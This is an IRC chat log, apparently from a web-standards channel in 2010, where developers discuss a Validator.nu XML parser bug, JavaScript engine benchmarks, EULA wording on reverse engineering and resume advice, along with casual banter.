[20:25:03.0000] <karlcow>
living in Japan too long? :p

[20:26:00.0000] <MikeSmith>
I meant how you tried to smuggle your crack pipe through customs

[20:27:00.0000] <karlcow>
hehe. himitsu

[21:47:00.0000] <wirepair>
i am amazed at how many parsers insecurely handle external xml entities

[21:47:01.0000] <wirepair>
/me just found *another* bug in an RSS reader...

[01:46:00.0000] <zcorpan>
Hixie: maybe ie's way of dealing with <meta http-equiv=x-ua-compatible> is screwing you over in your navigation tests?

[02:05:00.0000] <Hixie>
zcorpan: how so?

[02:06:00.0000] <Hixie>
i mean, i don't have it set

[02:07:00.0000] <Hixie>
and i don't see why what i'm testing would be relevant to that

[02:07:01.0000] <Hixie>
surely it'll be the same in all the modes...

[02:09:00.0000] <zcorpan>
Hixie: i don't know how it works, but maybe ie is first parsing looking for the meta, and then reparsing if it didn't find one

[02:10:00.0000] <Hixie>
i doubt it, that'd be a perf nightmare

[02:10:01.0000] <Hixie>
also the timings don't fit that hypothesis (some of the tests have timestamps)

[02:11:00.0000] <zcorpan>
ok

[02:12:00.0000] <zcorpan>
(iirc ie reparses when turning on designMode, which is also perf nightmare but doesn't happen as often)

[02:26:00.0000] <zcorpan>
https://developer.mozilla.org/en/JavaScript_typed_arrays - does gecko support binary messages in websockets?

[02:29:00.0000] <annevk>
I don't think so

[02:36:00.0000] <zcorpan>
http://yfrog.com/f/2fejgrj/

[02:37:00.0000] <annevk>
old news

[02:37:01.0000] <annevk>
but still funny

[02:47:00.0000] <annevk>
jgraham, btw, I meant "WHATTF" last night

[02:47:01.0000] <annevk>
not sure about action man and bureaucracy man, but that sounds fun too :)

[02:48:00.0000] <annevk>
also, another day, still not published

[02:49:00.0000] <annevk>
Mike is still flying around?

[02:49:01.0000] <jgraham>
That's superman

[02:50:00.0000] <jgraham>
Although I guess Mike might hve an alter-ego

[02:50:01.0000] <jgraham>
Would explain a lot

[02:51:00.0000] <zcorpan>
xml-stylesheet will be published 28th

[02:52:00.0000] <annevk>
as REC?

[02:52:01.0000] <zcorpan>
yeah

[02:52:02.0000] <zcorpan>
my first REC :)

[02:52:03.0000] <annevk>
with how many conforming implementations?

[02:53:00.0000] <zcorpan>
dunno

[02:53:01.0000] <annevk>
congrats anyway

[02:53:02.0000] <annevk>
I don't have any RECs

[02:56:00.0000] <zcorpan>
hmm validator.nu still doesn't validate xml-stylesheet

[02:59:00.0000] <zcorpan>
hsivonen: ^

[03:07:00.0000] <zcorpan>
seems like all tests in http://simon.html5.org/test/xml/xml-stylesheet/parsing/ give bogus errors in validator.nu

[03:14:00.0000] <hsivonen>
zcorpan: hmm. I wonder if MikeSmith landed the code...

[03:14:01.0000] <hsivonen>
zcorpan: the code is there

[03:17:00.0000] <hsivonen>
zcorpan: looks like the XML parser is doing something very bogus

[03:19:00.0000] <hsivonen>
zcorpan: I'm sorry. this XML parser is very, very sad

[03:20:00.0000] <hsivonen>
some day, I should write my own XML parser, with enough 5

[03:21:00.0000] <zcorpan>
did you switch xml parser at some point? it worked when mike was implementing xml-stylesheet

[03:21:01.0000] <hsivonen>
zcorpan: no, I think I haven't changed anything about the XML parser

[03:22:00.0000] <zcorpan>
ok. weird

[03:24:00.0000] <hsivonen>
whoa. "unless you cannot accept LGPL in your environment"

[03:25:00.0000] <hsivonen>
why on earth do the subclipse developers bother to maintain installation options for people who aren't OK with LGPL?

[03:28:00.0000] <hsivonen>
whoa! I just saw a signed Eclipse plug-in for the first time. Seemed to be a self-signed cert, though.

[03:30:00.0000] <hsivonen>
zcorpan: I haven't touched the XML parser since April 2009

[03:38:00.0000] <hsivonen>
zcorpan: are you sure you've tested without the XML declaration before?

[03:38:01.0000] <hsivonen>
zcorpan: the parser seems to be bogus

[03:39:00.0000] <hsivonen>
zcorpan: if the first four bytes are <?xm, it expects it to be the start of an XML declaration and it expect the XML declaration to be within the first 64 bytes

[03:39:01.0000] <hsivonen>
both expectations are thoroughly bogus, of course

[03:41:00.0000] <zcorpan>
hsivonen: i'm pretty sure i tested without xml decl. but maybe mike's setup injected an xml decl or something

[04:02:00.0000] <annevk>
http://arewefastyet.com/ interesting

[04:02:01.0000] <annevk>
I wonder how Opera compares

[04:03:00.0000] <jgraham>
annevk: That seems quite simple to find out :)

[04:04:00.0000] <jgraham>
/me wonders how numbers inside the browser compare to standalone shell numbers

[04:18:00.0000] <annevk>
Hixie, http://tantek.com/2010/294/t7/html5-whatwg-stopped-twitter-required-oauth

[04:20:00.0000] <benschwarz>
Hixie: P.Irish asked me to log here. Hello :)

[04:33:00.0000] <zcorpan>
hsivonen: if i add an xml decl, i still don't get the xml-stylesheet pi validated (no errors for a bogus pi)

[04:34:00.0000] <zcorpan>
http://validator.nu/?doc=data%3Aapplication%2Fxml%2C%253C%253Fxml%2520version%253D%271.0%27%253F%253E%250D%250A%253C%253Fxml-stylesheet%2520xyz%253F%253E%250D%250A%253Chtml%2520xmlns%253D%27http%253A%252F%252Fwww.w3.org%252F1999%252Fxhtml%27%253E%250D%250A%253Chead%253E%250D%250A%253Ctitle%253E%253C%252Ftitle%253E%250D%250A%253C%252Fhead%253E%250D%250A%253Cbody%253E%250D%250A%253Cp%253E%253C%252Fp%253E%250D%250A%253C%252

[04:34:01.0000] <zcorpan>
252Fhtml%253E

[04:41:00.0000] <hsivonen>
wiki.whatwg.org times out for me

[04:41:01.0000] <hsivonen>
zcorpan: I think the data: URL you pasted isn't complete

[04:42:00.0000] <hsivonen>
Hixie: (Can't contact the database server: Lost connection to MySQL server at 'reading initial communication packet', system error: 110 (database.wiki.whatwg.org))

[04:42:01.0000] <zcorpan>
yeah, it got split to two messages

[04:58:00.0000] <annevk>
I wonder if there exists more of this stuff: http://www.aminutewithbrendan.com/pages/20101018

[05:02:00.0000] <jgraham>
What stuff?

[05:03:00.0000] <annevk>
relatively short podcasts on browser stuff

[05:03:01.0000] <espadrine>
aminutewithbrendan is full of it

[05:03:02.0000] <espadrine>
(although it is javascript-oriented)

[05:03:03.0000] <annevk>
sure, I'm subscribed to that one and listen to most of it

[05:05:00.0000] <espadrine>
crockford has a series of talks going on, but we can't call them short

[05:25:00.0000] <jgraham>
So listening to those has given me an appreciation for one thing; if you set the volume on one <audio> element all other unplayed elements should start at the same volume by default. Or something

[05:26:00.0000] <jgraham>
A UI issue of course

[05:34:00.0000] <annevk>
and not necessarily true

[05:34:01.0000] <annevk>
as it depends on the stream

[05:36:00.0000] <Philip`>
/me would appreciate his browser not automaticall downloading many megabytes of data when loading the front page of that site, and instead waiting until he clicked 'play' on each <audio>

[05:37:00.0000] <Philip`>
s//y/

[05:38:00.0000] <espadrine>
The volume of one stream should not modify that of other streams on the same page, but it would be quite useful to have the browser remember the volumes of each stream

[05:38:01.0000] <espadrine>
when we go back to that page later on.

[05:39:00.0000] <espadrine>
I mean, it could be localStorage-ed, but that's something we inherently want for all media elements.

[05:49:00.0000] <hsivonen>
this XML parser is full of sadness

[05:50:00.0000] <jgraham>
The problem is I start one, listen to it (at reduced volume) start another and have to reduce the volume again

[05:50:01.0000] <jgraham>
Changing my system volume affects other applications

[05:50:02.0000] <jgraham>
I could probably futz about with per-application volume controls but its a lot of complexity

[05:51:00.0000] <jgraham>
and, on the web, the intrinsic loudness of different sound clips seems highly likely to change between pages

[05:52:00.0000] <jgraham>
due to different recording and so on

[05:52:01.0000] <jgraham>
But might be more constant on a single page

[05:54:00.0000] <hsivonen>
this total bogosity of the XML parser with <?xml-stylesheet hasn't come to my attention before

[05:54:01.0000] <hsivonen>
I guess most people use the XML declaration

[06:00:00.0000] <Philip`>
jgraham: Seems like the OS's job to make per-application volume controls simple

[06:00:01.0000] <Philip`>
(I think Vista does that already)

[06:01:00.0000] <jgraham>
Philip`: In the case of the web it's not clear that will work, as I said

[06:01:01.0000] <jgraham>
In any case I probably want per-tab volume controls

[06:01:02.0000] <jgraham>
if we are doing it that way

[06:13:00.0000] <hsivonen>
zcorpan: http://html5.validator.nu/?doc=http%3A%2F%2Fsimon.html5.org%2Ftest%2Fxml%2Fxml-stylesheet%2Fparsing%2F001.xml

[06:13:01.0000] <hsivonen>
zcorpan: I hope the parser sucks less now when viewed as a black box. The source code got uglier.

[06:13:02.0000] <hsivonen>
It seems to me that when a piece of software is bad enough, patching it makes the code look even worse

[06:14:00.0000] <hsivonen>
Ælfred2 is so, so sad. Too bad it's not easy to notice on surface before it's too late.

[06:34:00.0000] <zcorpan>
hsivonen: cool, thanks

[06:36:00.0000] <hsivonen>
zcorpan: thanks for reporting

[06:37:00.0000] <zcorpan>
hsivonen: now the Show Source feature is broken instead :)

[06:37:01.0000] <hsivonen>
aargh

[06:42:00.0000] <jgraham>
Dear lazyirc. I have a file with some lines in it. I want to provide each line of the file as the command line argument to a program. Is there some clever way to do that in the (bash) shell?

[06:42:01.0000] <jgraham>
So if the file looks like

[06:42:02.0000] <jgraham>
A

[06:42:03.0000] <jgraham>
B

[06:42:04.0000] <jgraham>
C

[06:42:05.0000] <jgraham>
I want to run

[06:42:06.0000] <jgraham>
foo A B C

[06:43:00.0000] <jgraham>
where foo is the executable

[06:46:00.0000] <jgraham>
Oh, maybe cat and backticks is enough if there are no special characters

[06:47:00.0000] <jgraham>
And xargs is needed otherwise

[06:52:00.0000] <Workshiva>
Backticks make me sad

[06:52:01.0000] <Workshiva>
$() all the way

[07:03:00.0000] <jgraham>
The shell makes me sad

[07:05:00.0000] <annevk>
Python

[07:29:00.0000] <annevk>
Pro tip: when disabling Bluetooth, do not disable wireless instead

[07:29:01.0000] <Philip`>
perl -ne'`program "$_"`' lines.txt

[07:32:00.0000] <Philip`>
Oh, I misread the question

[07:34:00.0000] <Philip`>
In that case I suppose it's more like  perl -e'chomp(@_=<>); system("program", @_)' lines.txt  which will incidentally handle special characters in the lines

[07:35:00.0000] <Philip`>
but that code doesn't use enough quote characters :-(

[07:35:01.0000] <Philip`>
(Not enough to be pleasantly confusing, at least)

[09:49:00.0000] <MikeSmith>
hsivonen: about the issue that Simon mentioned, I am not injecting an xml declaration or anything like that

[09:50:00.0000] <MikeSmith>
but I can take a look later and see if i might be able to figure out what's wrong

[09:50:01.0000] <MikeSmith>
maybe I am otherwise just doing something stupid in that code

[09:50:02.0000] <MikeSmith>
wrong assumption or something

[09:50:03.0000] <hsivonen>
MikeSmith: your code isn't wrong

[09:50:04.0000] <hsivonen>
MikeSmith: the XML parser is wrong

[09:51:00.0000] <MikeSmith>
ok

[09:51:01.0000] <MikeSmith>
oh

[09:51:02.0000] <MikeSmith>
well, that's not good

[09:51:03.0000] <hsivonen>
MikeSmith: are you sure you and Simon didn't test a W3C instance that runs the perl preprocessor on the input?

[09:51:04.0000] <MikeSmith>
no

[09:51:05.0000] <MikeSmith>
definitely not

[09:52:00.0000] <hsivonen>
well, I don't have an explanation why you haven't seen this before

[09:52:01.0000] <MikeSmith>
whatever code I had running, it should still be running at http://www.w3.org/html/check

[09:52:02.0000] <hsivonen>
but the XML parser is definitely broken and has been unmodified for over a year

[09:52:03.0000] <MikeSmith>
I see

[09:52:04.0000] <hsivonen>
MikeSmith: your instance shows the same bug

[09:53:00.0000] <hsivonen>
MikeSmith: http://www.w3.org/html/check?doc=http%3A%2F%2Fsimon.html5.org%2Ftest%2Fxml%2Fxml-stylesheet%2Fparsing%2F002.xml

[09:53:01.0000] <MikeSmith>
well, that's weird

[09:53:02.0000] <hsivonen>
I'll have dinner and then I'll try to fix the XML parser again. more correctly this time hopefully

[09:53:03.0000] <MikeSmith>
actually I was not running Simon's test from that side

[09:53:04.0000] <MikeSmith>
I was using direct input

[09:53:05.0000] <hsivonen>
though I'm not planning on fixing it totally correctly

[09:53:06.0000] <MikeSmith>
ok

[09:53:07.0000] <hsivonen>
it's too broken for that

[09:54:00.0000] <hsivonen>
MikeSmith: direct input doesn't sniff the bytes for encoding, so a different code path applies

[09:54:01.0000] <MikeSmith>
ah

[10:11:00.0000] <annevk>
complained about lack of response http://lists.w3.org/Archives/Public/public-pfwg-comments/2010OctDec/0007.html

[10:11:01.0000] <annevk>
apparently my last email was end of August

[10:25:00.0000] <cryzed>
http://code.google.com/p/html5lib/issues/detail?id=141 -> Could you guys take care of this? Or are you planning on dropping BeautifulSoup support altogether?

[10:33:00.0000] <hsivonen>
/me removes UTF-32 support from the XML side of Validator.nu

[10:33:01.0000] <annevk>
yay

[10:34:00.0000] <annevk>
the fight encoding proliferation front salutes you

[10:35:00.0000] <hsivonen>
annevk: did you notice the Gecko UTF-32 removal bug?

[10:37:00.0000] <annevk>
yup

[10:48:00.0000] <hsivonen>
zcorpan: http://html5.validator.nu/?doc=http%3A%2F%2Fsimon.html5.org%2Ftest%2Fxml%2Fxml-stylesheet%2Fparsing%2F002.xml&showsource=yes

[10:48:01.0000] <hsivonen>
now fixed for real, I hope

[10:52:00.0000] <annevk>
geez

[10:52:01.0000] <annevk>
gmail is getting so slow

[10:52:02.0000] <annevk>
it's annoying

[10:52:03.0000] <annevk>
maybe webapps are not it after all

[10:53:00.0000] <annevk>
constantly "still working" when I try to get through my labeled email

[11:18:00.0000] <MikeSmith>
annevk: hsivonen using Zimbra

[11:20:00.0000] <MikeSmith>
saucy is sähäkkä http://en.wiktionary.org/wiki/s%C3%A4h%C3%A4kk%C3%A4#Finnish 

[11:20:01.0000] <MikeSmith>
comparative sähäkämpi, superlative sähäkin or sähäköin

[11:47:00.0000] <hsivonen>
abarth: b.m.o got another duplicate of http://www.w3.org/Bugs/Public/show_bug.cgi?id=10427

[11:48:00.0000] <hsivonen>
abarth: https://bugzilla.mozilla.org/show_bug.cgi?id=605373

[11:48:01.0000] <hsivonen>
has WebKit gotten duplicates of this bug?

[11:48:02.0000] <hsivonen>
abarth: it might be worthwhile to check what exactly the old WebKit tree builder did

[11:49:00.0000] <abarth>
i don't think we've gotten reports of this

[11:49:01.0000] <abarth>
but the page is obviously broken in webkit now too

[11:56:00.0000] <annevk>
http://twitter.com/devongovett/status/28426814227 -- isn't it layout that's slow?

[11:57:00.0000] <abarth>
dromeo tests dom speed

[12:00:00.0000] <hsivonen>
testing layout speed is *hard*

[12:00:01.0000] <hsivonen>
it's probably a bad idea to publish a layout speed benchmark if bz hasn't reviewed it

[12:10:00.0000] <AryehGregor>
So as of yesterday, looks like Firefox beats Chrome on Sunspider: http://arewefastyet.com/

[12:10:01.0000] <AryehGregor>
Very slightly.

[12:12:00.0000] <AryehGregor>
Awesome.  I just wish we had some more benchmarks up there, and Opera and IE9 were on them too.

[13:21:00.0000] <jgraham>
People who say that javascript isn't slow are just making the wrong type of application. For a javascript game or audio analysis or image progessing or something, javascript speed is still a limiting factor

[13:21:01.0000] <jgraham>
Of course for other types of application DOM is the limiting factor

[13:22:00.0000] <jgraham>
But it is often pure scripting performance that limits the kind of applications that people are only just starting to write in javascript

[13:22:01.0000] <AryehGregor>
How does JS compare to something like Java these days on standard useless programming benchmarks?

[13:24:00.0000] <aho>
http://shootout.alioth.debian.org/u64/benchmark.php?test=all&lang=v8&lang2=java

[13:24:01.0000] <aho>
regex is awesome with v8 :>

[13:24:02.0000] <aho>
other than that java is typically 3-8 times faster

[13:24:03.0000] <aho>
or even over 50 times faster if you do something js is very bad at :>

[13:25:00.0000] <AryehGregor>
Hmm, so probably still room for improvement.

[13:25:01.0000] <AryehGregor>
pidigits is horrible for v8.

[13:25:02.0000] <aho>
garbage collection is probably one of those areas with some room for improvements

[13:26:00.0000] <aho>
java's gc is very advanced

[13:26:01.0000] <AryehGregor>
Interesting that memory is about the some.

[13:26:02.0000] <AryehGregor>
same.

[13:26:03.0000] <jgraham>
Possibly the implementation of pidigits for the v8 case is very bad

[13:26:04.0000] <jgraham>
(possibly not of course)

[13:26:05.0000] <aho>
http://arewefastyet.com/ <- seen that?

[13:27:00.0000] <aho>
jm is now faster than v8 in sunspider

[13:27:01.0000] <jgraham>
Needless to say these are not a good way to judge anything

[13:27:02.0000] <AryehGregor>
jgraham, they're a decent heuristic.

[13:28:00.0000] <AryehGregor>
Interesting.  It looks like Java doesn't perform much worse than C in time taken, at least for these programs -- median 2x slower -- but it's murdered on memory use.

[13:28:01.0000] <jgraham>
AryehGregor: Well they probably have the advantage that language authors are unlikely to optimise for these benchmarks specifically

[13:28:02.0000] <AryehGregor>
Yes.

[13:29:00.0000] <jgraham>
But I think they are all very small problems compared to typical real applications

[13:30:00.0000] <Philip`>
Performance in real applications is typically limited by bottlenecks, which are very small problems

[13:30:01.0000] <AryehGregor>
Why don't they include PHP?  The site is even written in PHP.

[13:30:02.0000] <AryehGregor>
Also would be cool to see different compilers compared.  ICC really murders GCC.

[13:30:03.0000] <aho>
there is php on another machine

[13:30:04.0000] <aho>
http://shootout.alioth.debian.org/u32/benchmark.php?test=all&lang=php&lang2=v8

[13:31:00.0000] <jgraham>
Philip`: I don't know if that is really true. Sometimes you get quite flat performance profiles where you spend an equal amount of time everywhere

[13:32:00.0000] <jgraham>
I mean if you are doing n-body simulations or something then sure it is all inner-loop dominated

[13:32:01.0000] <aho>
the php version of reverse-complement is sorta silly... it does everything in native functions. there are like 4 functions chained together with do everything :>

[13:32:02.0000] <aho>
*which

[13:33:00.0000] <AryehGregor>
aho, well, that's sensible, isn't it?

[13:34:00.0000] <aho>
well, it's sorta like having solveThisSpecificProblem function

[13:34:01.0000] <aho>
you could say the same about the regex stuff though

[13:34:02.0000] <aho>
.>

[13:35:00.0000] <AryehGregor>
It's fair to give languages credit for having good general-purpose tools like strtr and strrev and chunk_split.

[13:35:01.0000] <aho>
just wanted to point out why php does surprisingly well in that particular benchmark .)

[13:35:02.0000] <AryehGregor>
PHP has a mediocre standard library, but it's written entirely in C, so it deserves benchmark credit for that.

[13:36:00.0000] <jgraham>
Hmm, I wonder if the problem with pidigits is the lack of a sensible long integer type in javascript

[13:37:00.0000] <aho>
yea, emulating bigint stuff with doubles is sorta clumsy

[13:37:01.0000] <aho>
but there is no way around that currently

[13:38:00.0000] <aho>
well, there are ints in most js engines under the hood but there is some drag involved

[13:38:01.0000] <aho>
bitops for example are always sorta slow

[13:39:00.0000] <aho>
(i still use xorshift as prng though) :>

[13:39:01.0000] <jgraham>
I think that is not true anymore since I think they are tested in sunspider :)

[13:40:00.0000] <jgraham>
I would expect a loop containing bitops to be JITed to native instructions

[13:40:01.0000] <aho>
jm was always pretty good at doing brainless math in a loop

[13:41:00.0000] <aho>
it's pretty much the best case for tracing

[13:42:00.0000] <aho>
eg 6 months ago mandelbrot stuff was about 3 times faster in jm than v8

[13:44:00.0000] <aho>
either way, i love the js engine wars :)

[13:44:01.0000] <aho>
(thanks google) :>

[13:50:00.0000] <AryehGregor>
Thanks Mozilla too.

[13:50:01.0000] <AryehGregor>
arewefastyet is great.

[14:07:00.0000] <AryehGregor>
/me sees this in an EULA: "You may not, in whole or in part: copy, photocopy, reproduce, translate, reverse engineer (with the exception of specific circumstances where such act is permitted by law), derive source code, modify, disassemble, decompile, or create derivative works based on the Program; . . ."

[14:07:01.0000] <AryehGregor>
Does that mean that the EULA is admitting that it's not prohibiting reverse-engineering except where it's already illegal anyway?

[14:08:00.0000] <AryehGregor>
Hmm, maybe it only means "except in cases where the law doesn't let you sign away your right to reverse-engineer".  Or maybe it just means "we can sue you for breach of contract too if you do it".

[14:08:01.0000] <AryehGregor>
Meh, who cares.

[14:13:00.0000] <espadrine>
Arguably, it means that you are allowed to do so in any country that doesn't specify that reverse engineering is illegal.

[14:13:01.0000] <espadrine>
What EULA is it?

[14:15:00.0000] <AryehGregor>
Empire: Total War, a computer game.

[14:16:00.0000] <espadrine>
Well, they do unusual EULA then.

[14:16:01.0000] <AryehGregor>
Do they?  How so?

[14:17:00.0000] <AryehGregor>
http://www.google.com/intl/en/jobs/joininggoogle/resume/index.html <-- HTML not an acceptable format?  Lame.

[14:17:01.0000] <espadrine>
Although, iirc, Sun had a clause that forbid nuclear facilities from using their stuff.

[14:18:00.0000] <Ms2ger>
Opera does

[14:18:01.0000] <Ms2ger>
Also, flight control, IIRC

[14:18:02.0000] <AryehGregor>
Fascinating.

[14:18:03.0000] <jgraham>
Opera also accepts resumes in HTML form

[14:18:04.0000] <jgraham>
just sayin'

[14:19:00.0000] <AryehGregor>
I'd just have to move to Scandinavia, is that all?

[14:19:01.0000] <Ms2ger>
It would be pretty sad if they didn't

[14:19:02.0000] <AryehGregor>
Probably Google would too, but no sense in not following instructions.

[14:20:00.0000] <jgraham>
Well I say "accepts" though for most technical jobs I mean "requires"

[14:20:01.0000] <AryehGregor>
See, now that makes sense.

[14:20:02.0000] <jgraham>
AryehGregor: Well not necessarily. But most jobs are in Scandinavia

[14:20:03.0000] <AryehGregor>
And have someone manually inspect the source code and reject the application if they use <FONT COLOR="RED">.

[14:20:04.0000] <AryehGregor>
None in, say, New York or Israel?

[14:21:00.0000] <jgraham>
AryehGregor: http://www.opera.com/company/jobs/

[14:21:01.0000] <AryehGregor>
So that's a no, then.

[14:22:00.0000] <jgraham>
And you can infer what you like about the <font color> stuff from http://www.opera.com/company/jobs/opening/67/

[14:22:01.0000] <AryehGregor>
"Your CV and covering letter should be in HTML5/CSS. That is your first test."

[14:22:02.0000] <jgraham>
"Your CV and covering letter should be in HTML5/CSS. That is your first test."

[14:22:03.0000] <AryehGregor>
Haha.

[14:22:04.0000] <AryehGregor>
Awesome.

[14:23:00.0000] <AryehGregor>
I also bet you get points off if you do -webkit-border-radius: 1em; -moz-border-radius: 1em

[14:23:01.0000] <jgraham>
Well I'm not involved with recruitment

[14:24:00.0000] <jgraham>
But I guess one would think twice before sending in something "Best Viewed with Google Chrome" 

[14:37:00.0000] <AryehGregor>
I just realized I have no idea how to write a decent resume.

[14:40:00.0000] <jgraham>
You start with an indecent one and add clothes

[14:45:00.0000] <aho>
:>

[14:48:00.0000] <Philip`>
AryehGregor: At least in the UK, there are certain cases where copyright law explicitly allows you to reverse-engineer programs (e.g. for interoperability) regardless of any other agreements that attempt to prohibit you from doing that

[14:49:00.0000] <Philip`>
so I guess the agreements want to be clear that their terms should not be completely ignored, since they're still prohibiting all the other cases that aren't those certain cases

[14:50:00.0000] <Philip`>
Oh, actually that's about "decompilation" rather than reverse-engineering

[14:50:01.0000] <Philip`>
but close enough

[14:51:00.0000] <gsnedders>
MikeSmith: I have some vague idea about pronounciation, but that's the extent of my knowledge of Gaelic

[14:52:00.0000] <MikeSmith>
ok

[14:53:00.0000] <gsnedders>
/me has some vague suspicion his CV was HTML 4.01 Strict

[14:53:01.0000] <gsnedders>
(But I can't remember)

[14:55:00.0000] <jgraham>
AryehGregor: (If you wanted more useful CV advice possibly 'nobody cares about what you did at high school' and 'imagine you have to read 100 of them and want to find all the interesting stuff quickly' would be better)

[14:55:01.0000] <AryehGregor>
Noted.

[14:57:00.0000] <AryehGregor>
I guess my CV should clearly say "Okay, I'm just out of college, but I actually have lots of experience at this stuff as a volunteer."

[14:57:01.0000] <MikeSmith>
AryehGregor: I think you should submit your CV as an animated movie created using xtranormal

[14:57:02.0000] <AryehGregor>
/me makes sure to use goo.gl for his URL shortening, and makes a mental note to change that if he submits to anyone other than Google

[14:58:00.0000] <gsnedders>
AryehGregor: I'd say more, look at this experience, and hey, I went to college!

[14:58:01.0000] <AryehGregor>
MikeSmith, I think that kind of resume is probably better suited to people applying for jobs as designers.

[14:58:02.0000] <jgraham>
gsnedders: More like "hey I actually finished college" :p

[14:58:03.0000] <gsnedders>
AryehGregor: Having gone to college is unlikely to get you a job. Having experience is probably more important.

[14:59:00.0000] <gsnedders>
jgraham: Hey, I'm still at university, and went to all my lectures today!

[14:59:01.0000] <gsnedders>
(Turns out programming lectures are still ungodly boring)

[14:59:02.0000] <jgraham>
(that isn't true I think)

[14:59:03.0000] <jgraham>
(not about gsnedders lectures)

[14:59:04.0000] <jgraham>
(but lots of people get jobs with degrees and little experience)

[14:59:05.0000] <AryehGregor>
gsnedders, well, I don't think anyone is going to be fooled into thinking I have lots of professional experience at this point.

[15:00:00.0000] <jgraham>
(having a degree *and* experience is obviously better)

[15:00:01.0000] <AryehGregor>
I mean, I should come off as being much better than some average dude just out of college.

[15:00:02.0000] <AryehGregor>
But probably not as good as someone with five years' of actual job experience.

[15:00:03.0000] <jgraham>
(having just experience depends a lot on who you are applying to)

[15:00:04.0000] <AryehGregor>
(except that if I'm applying specifically for web specs, probably like twelve people have at least five years' of job experience with that, so)

[15:01:00.0000] <AryehGregor>
(half of them are probably in this room)

[15:01:01.0000] <gsnedders>
Yeah, sure. And my point about mentioning the experience first is more that you want to set yourself apart. Whoever is looking at it probably has 100 others to look at, all starting with, "I went to the university and got put in a box".

[15:01:02.0000] <gsnedders>
AryehGregor: To actually edit specs full time, or?

[15:01:03.0000] <jgraham>
/me didn't get put into a box at university

[15:01:04.0000] <jgraham>
although there was probably a societry for that if it's your thing

[15:02:00.0000] <gsnedders>
jgraham: Yes you did, you're the same as everyone else!

[15:02:01.0000] <gsnedders>
(There again, you'll probably claim I can't reference songs without girls around.)

[15:02:02.0000] <gsnedders>
(Again.)

[15:02:03.0000] <MikeSmith>
AryehGregor: under the Entrepreneurial Experience heading, I recommend not listing any marijuana grow operations you might be running

[15:03:00.0000] <AryehGregor>
MikeSmith, but if I'm doing something more unusual and enterprising, like smuggling cocaine, you think that would be a good thing to say?

[15:03:01.0000] <jgraham>
gsnedders: (the irony of the song is that it is almost entirely the wrong way roungd, I think)

[15:03:02.0000] <MikeSmith>
also, experience with making money trading smuggled contraband in country jail is often to valued quite a highly as you might think it would be

[15:03:03.0000] <jgraham>
(I suspect people who go to university end up leading way more diverse lifestyles than people who don't)

[15:03:04.0000] <gsnedders>
jgraham: (Then there's the irony of who keeps singing it :P)

[15:03:05.0000] <MikeSmith>
AryehGregor: just use code words

[15:04:00.0000] <AryehGregor>
jgraham, it probably depends on how you measure diversity.

[15:04:01.0000] <jgraham>
MikeSmith: Like when you say "Man mangement skills" and you mean "I'm a sociopath that will make CEO one day"

[15:04:02.0000] <MikeSmith>
heh

[15:05:00.0000] <AryehGregor>
MikeSmith, so do you think I should be aiming to make it into thedailywtf.com's next round-up of resume submissions, or what?

[15:06:00.0000] <jgraham>
AryehGregor: Sure, it's all about getting your name known in the right circles

[15:07:00.0000] <AryehGregor>
/me realizes that goo.gl provides public click profile data, so if he includes a goo.gl URL in a resume that he only submits to Google, he'll have a good idea of how many people read it and where they are.

[15:07:01.0000] <AryehGregor>
The irony is delicious.

[15:07:02.0000] <AryehGregor>
jgraham, sadly, TDWTF tends not to include names.

[15:08:00.0000] <gsnedders>
AryehGregor: Seriously though, what specifically are you trying to get a job doing?

[15:08:01.0000] <MikeSmith>
AryehGregor: there's no such thing as bad publicity

[15:08:02.0000] <Ms2ger>
You could just have your resume on your website and send yourself an email for every hit

[15:08:03.0000] <Ms2ger>
(Like Hixie)

[15:08:04.0000] <AryehGregor>
gsnedders, my general goal at this point is to get a job where people will pay me money.  Possibly this will involve me performing some activity they desire in exchange, preferably one that I find at least moderately enjoyable.

[15:09:00.0000] <AryehGregor>
This seems like a fairly conventional course of action.

[15:09:01.0000] <Philip`>
Ms2ger: If you do that, you should be very careful not to mention it in the presence of people who might then find it amusing to set up a script that downloads the page and loops several times a second

[15:10:00.0000] <AryehGregor>
Realistically, something in web standards seems like a good bet, because there's hardly a lot of competition.  Failing that, programming is fine too.

[15:10:01.0000] <jgraham>
So far it is not clear that you have excluded, say "high class male escort" from your list of possibilities

[15:10:02.0000] <AryehGregor>
Well, I doubt that would be very competitive pay, given my skill set.

[15:10:03.0000] <AryehGregor>
Also given my incredibly nerdy appearance.

[15:12:00.0000] <gsnedders>
Hey, I'm sure some are into that.

[15:13:00.0000] <jgraham>
Maybe not enough for a regular income

[15:16:00.0000] <Hixie>
hm, did anyone write a counter-proposal for the rel registry?

[15:16:01.0000] <Hixie>
we're a few days past the deadline

[15:18:00.0000] <othermaciej>
TabAtkins said he was going to, but I don't know if he did anything yet

[15:19:00.0000] <hober>
at the same time, the wg doesn't seem enthusiastic about the IETF registry

[15:28:00.0000] <Hixie>
well, i sent a null CP

[16:56:00.0000] <annevk>
AryehGregor, we hired someone  who works from New York

[16:57:00.0000] <annevk>
AryehGregor, it depends on the position really, but we have several people working from home, including people working on the Core engine

[16:57:01.0000] <annevk>
/me works from home too

[16:57:02.0000] <annevk>
mostly

[16:59:00.0000] <gsnedders>
/me works from home


2010-10-23
[17:06:00.0000] <Hixie>
annevk: wait, what's this about onformchange?

[17:12:00.0000] <annevk>
Hixie, you can do it via event capture instead

[17:12:01.0000] <annevk>
Hixie, you lose the event handler shortcuts, but the disadvantage is not very big, and the feature is not a major win

[17:16:00.0000] <gsnedders>
/me wonders if playing loud death metal at 8am every morning is a suitable response to drunk flatmates making noise until 3am or so, and if it'll get a point across

[17:17:00.0000] <annevk>
i wouldn't count on it

[17:18:00.0000] <gsnedders>
Or playing it till 3am when they're having an early night

[17:28:00.0000] <Hixie>
annevk: how do you do capture handlers in markup? i don't understand

[17:30:00.0000] <jamesr_>
annevk: any thoughts on http://lists.w3.org/Archives/Public/public-webapps/2010OctDec/0022.html ?

[17:32:00.0000] <jamesr_>
it's about XHR2's overrideMimeType

[17:35:00.0000] <annevk>
Hixie, well you don't

[17:35:01.0000] <Hixie>
annevk: that's the whole point of the feature

[17:36:00.0000] <Hixie>
so you can do e.g.  <output onforminput="value = a.value * b.value"></output>

[17:37:00.0000] <annevk>
sure, but is that really worth all the added complexity?

[17:37:01.0000] <Hixie>
what extra complexity? it's two events

[17:37:02.0000] <annevk>
and two methods, no?

[17:37:03.0000] <annevk>
I don't care strongly

[17:38:00.0000] <annevk>
just happy to nuke features until demand is stronger

[17:38:01.0000] <annevk>
jamesr_, right yeah, I should answer that

[17:38:02.0000] <annevk>
jamesr_, I sort of wonder if it isn't already a problem with having both responseText and responseXML

[17:39:00.0000] <jamesr_>
